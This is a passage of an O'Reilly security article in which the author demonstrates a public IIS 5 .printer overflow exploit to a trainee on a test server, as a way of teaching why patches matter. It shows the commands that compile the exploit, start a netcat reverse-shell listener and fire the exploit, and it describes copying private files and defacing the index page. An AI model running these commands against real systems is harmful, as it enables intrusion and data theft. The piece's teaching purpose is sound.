oreilly.comSafari Books Online.Conferences.


Proper Paranoia: Educating Your Co-Workers
Pages: 1, 2

When he arrives, I show him the BugTraq message. We've discussed BugTraq before, and about the fact that stuff posted there has frequently been circulating in the 3L33T underground for weeks.

By a stroke of luck, we had an IIS 5 server that wasn't in production yet.

The trainee was sitting right next to me as I compiled the exploit.

# cc -ojill jill.c

The -ojill wasn't necessary, but I already had an a.out that I didn't want to overwrite.

In one terminal, I open up a netcat window exactly as it's shown in the example.

#nc -l -p 6666 -vv
listening on [any] 6666 ...

The command prompt doesn't return, as netcat is waiting for an incoming connection. I switch xterms and fire up my straight-from-the-Net exploit.

#./jill victimserver 80 6666
iis5 remote .printer overflow.
dark spyrit <> / beavuh labs.

you may need to send a carriage on your listener if 
the shell doesn't appear.
have fun!


On the other xterm, we abruptly saw:

connect to [] from [] 1062

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.


I believe that the expression is, "You have been r00ted".

The trainee's eyes get just a little wider as I proceed to walk through the filesystem, find some nifty-looking private corporate documents, and copy them to a hidden directory I created under wwwroot. On the 2K console, we created a directory that everyone was denied access to. Everyone but our exploit shell, that's it. I renamed xcopy.exe to youvebeenhacked.exe, and changed the index.htm page to my page from, just because I could.

While nothing can really take the place of the good solid smack that a real hack provides, seeing just how easy it can be is as close as you can get without going home and breaking in yourself. Perhaps you can't hard-temper the new guys, but you can season them a little.

While I recommend this training technique, you must be careful. Don't run exploits you don't understand -- they can easily contain trojans or other nasty surprises. Never run a binary-only exploit, unless you want an interesting story to tell at your next job. And be sure you use them only on test systems you can either patch or reformat. If you want to learn if you're vulnerable to a hack, you're much better off getting Nessus or some other security scanner.

Your target operating system doesn't matter. If I had an exploit for the recent NTP hole on one of my beloved FreeBSD boxes, I would have used that. The purpose of this project is to make a point, as forcefully as possible, not OS evangelism. Admittedly, Windows 2000 is an easy target, but use whatever's convenient.

To my surprise, I wound up repeating this demonstration half a dozen times. This particular exploit was ideal -- it had simple instructions right in the file, and it was simple enough that even someone from the sales department could have done it. I showed every network engineer, as they're each being trained to handle security for their areas of responsibility. I even demonstrated this to some of the salespeople.

User education is a wonderful thing. The junior system admins understand a little more deeply why security patches must be applied immediately -- a little reinforcement never hurts. Some non-technical people understood why, exactly, the senior system administrator frequently had his teeth clenched and a spastic twitch in his left eye. Plus, they understood the importance of security patches. The next time I inconveniently "down" a server to apply a security patch, there won't be nearly as much grumbling.

Oh, wait a minute. I won't be taking down the server. That's what the ex-trainee is for. Maybe I can give him the spastic eye twitch, too.

Michael W. Lucas

Return to

Sponsored by: